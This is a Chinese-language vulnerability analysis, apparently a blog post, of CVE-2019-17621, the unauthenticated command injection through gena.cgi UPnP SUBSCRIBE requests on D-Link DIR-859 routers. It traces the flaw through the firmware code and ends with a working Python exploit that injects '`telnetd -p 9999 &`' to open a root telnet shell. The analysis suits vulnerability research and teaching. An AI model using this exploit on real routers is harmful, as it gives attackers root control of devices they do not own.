CVE-2019–17621
2022-04-20 22:14:33

CVE-2019–17621

漏洞介绍:

D-Link DIR-859 WIFI路由器1.05和1.06B01 Beta01中的UPnP端点URL/gena.cgi允许未经身份验证的远程攻击者以root身份执行系统命令

方法:向UPnP服务发送特制的HTTP SUBSCRIBE请求连接到本地网络

UPnP介绍:

通用即插即用协议==》(自动打开端口,无需用户为每个程序手动配置路由器)

当支持UPnP协议的设备开启此协议,当主机或主机上的应用程序向设备发出端口映射请求时,设备会自动为主机分配端口并进行端口映射,该协议从PNP协议中引申出来的==》PNP协议支持自动为新添加的硬件分配中断和I/O端口,用户无须再手工跳线,也不必使用软件配置程序

手工跳线:

==》在两种协议未出现之前==》最原始的添加设备的方法=》如果我们新添加了硬件==》

需要我们手动为新加的硬件设置终端和I/O端口==》手工跳线就是在新加硬件之后需要在对应的针脚上用小跳线插一下(对用户的要求十分高,效率低下)

固件提取:

binwalk -Me DIR859Ax_FW105b03.bin

漏洞定位:

./htdocs/cgibin

漏洞分析:

genacgi_main函数:

通过一些取值和判断的操作(伪造包的结构)==》

最终将伪造的参数通过sprintf传入缓冲区中

注意有路径为/htdocs/upnp/run.NOTIFY.php传入缓冲区

==》通过xmldbc_ephp函数

查看xmldbc_ephp函数:

a3为传入的报文

首先计算传入的报文的长度==》再发送给sub_41420c函数

查看sub_41420c函数:

此时我们传入的报文为a4==》报文会被传入sub_413810函数中==》

查看sub_413810函数:

a4为传入的报文==》程序通过send将报文发送给PHP

重点:

sprintf(
      v36,    "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh",
      "/htdocs/upnp/run.NOTIFY.php",
      v1,
      v0,
      v2,
      v19,
      "/var/run",
      v0);
xmldbc_ephp(0, 0, v36, stdout);

sprintf用于连接多个变量的值,填充一个缓冲区,设置要传递的新变量

由于程序将报文传入了/htdocs/upnp/run.NOTIFY.php中==》

查看/htdocs/upnp/run.NOTIFY.php:

<?
include "/htdocs/phplib/upnp/xnode.php";
include "/htdocs/upnpinc/gvar.php";
include "/htdocs/upnpinc/gena.php";

$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);

/* IGD services */
if		($SERVICE == "L3Forwarding1")	$php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1")			$php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1")	$php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1")	$php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1")		$php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1")	$php = "NOTIFY.WFAWLANConfig.1.php";


if ($METHOD == "SUBSCRIBE")//服务判断
{
	if ($SID == "")
		GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
	else
		GENA_subscribe_sid($gena_path, $SID,  $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
	GENA_unsubscribe($gena_path, $SID);
}
?>

从$METHOD == “SUBSCRIBE开始判断==》进行服务判断

接下来对SID进行判断==》

调用GENA_subscribe_new函数==》

function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
	anchor($node_base);
	$count = query("subscription#");
	$found = 0;
	/* find subscription index & uuid */
	foreach ("subscription")
	{
		if (query("host")==$host && query("uri")==$uri)	{$found = $InDeX; break;}
	}
	if ($found == 0)
	{
		$index = $count + 1;
		$new_uuid = "uuid:".query("/runtime/genuuid");
	}
	else
	{
		$index = $found;
		$new_uuid = query("subscription:".$index."/uuid");
	}

	/* get timeout */
	if ($timeout==0 || $timeout=="") {$timeout = 0; $new_timeout = 0;}
	else {$new_timeout = query("/runtime/device/uptime") + $timeout;}
	/* set to nodes */
	set("subscription:".$index."/remote",	$remote);
	set("subscription:".$index."/uuid",		$new_uuid);
	set("subscription:".$index."/host",		$host);
	set("subscription:".$index."/uri",		$uri);
	set("subscription:".$index."/timeout",	$new_timeout);
	set("subscription:".$index."/seq", "1");

	GENA_subscribe_http_resp($new_uuid, $timeout);
	GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
}

函数的最后调用了GENA_notify_init==》

function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{

	$inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);
	if ($inf_path=="")
	{
		TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");
		return "";
	}
	$phyinf = PHYINF_getifname(query($inf_path."/phyinf"));
	if ($phyinf == "")
	{
		TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");
		return "";
	}

	$upnpmsg = query("/runtime/upnpmsg");
	if ($upnpmsg == "") $upnpmsg = "/dev/null";
	fwrite(w, $shell_file,
		"#!/bin/sh\n".
		'echo "[$0] ..." > '.$upnpmsg."\n".
		"xmldbc -P ".$target_php.
			" -V INF_UID=".$inf_uid.
			" -V HDR_URL=".$uri.
			" -V HDR_HOST=".$host.
			" -V HDR_SID=".$sid.
			" -V HDR_SEQ=0".
			" | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n"
	);
	fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
}

===》在函数的最后写了一个shell脚本==》

传入的$shell_file是一个脚本的名字==》

第一次调用fwrite向$shell_file中写入一些命令

第二从调用fwrite时向该文件添加新行==》本意为使用rm删除本身

==》如果$shell_file是一个由反引号包裹的命令==》RCE

(文件名字符串将被rm返回输出(空字符串)替换)

执行流程:

通过tcp 49152端口处理链:

data==》cgibin==》cgibin.genacgi_main==》sprintf($shell_file)==》send==》

run.NOTIFY.php==》gena.php($shell_file)==》在.sh脚本执行rm $shell_file时触发==》

URL从REQUEST_URI中获得,验证:

调用strchr()验证是否存在”0x3f”(ASCII为’ ? ‘)

调用strncmp()验证是否存在字符串”?service=”

EXP:

from http import server
import socket
import os
from time import sleep

def httpSUB(server,port,shell_file):
    print('\n[*] Connection {host}:{port}'.format(host=server, port=port))
    con=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
    payload += "Host: " + str(server) + str(port) + "\n"
    payload += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
    payload += "NT: upnp:event\n"
    payload += "Timeout: Second-1800\n"
    payload += "Accept-Encoding: gzip, deflate\n"
    payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"

    sleep(1)
    print("[*]Sendline Payload")
    con.connect((socket.gethostbyname(server),port))
    con.send(payload.encode())
    payload = con.recv(4096)

    sleep(1)
    print("[*]Runing Telnetd Service")
    sleep(1)
    print("[*] Opening Telnet Connection\n")
    sleep(2)
    os.system('telnet ' + str(server) + ' 9999')

serverInput = raw_input('IP Router: ')
portInput = 49152

httpSUB(serverInput,portInput,'`telnetd -p 9999 &`')

RCE: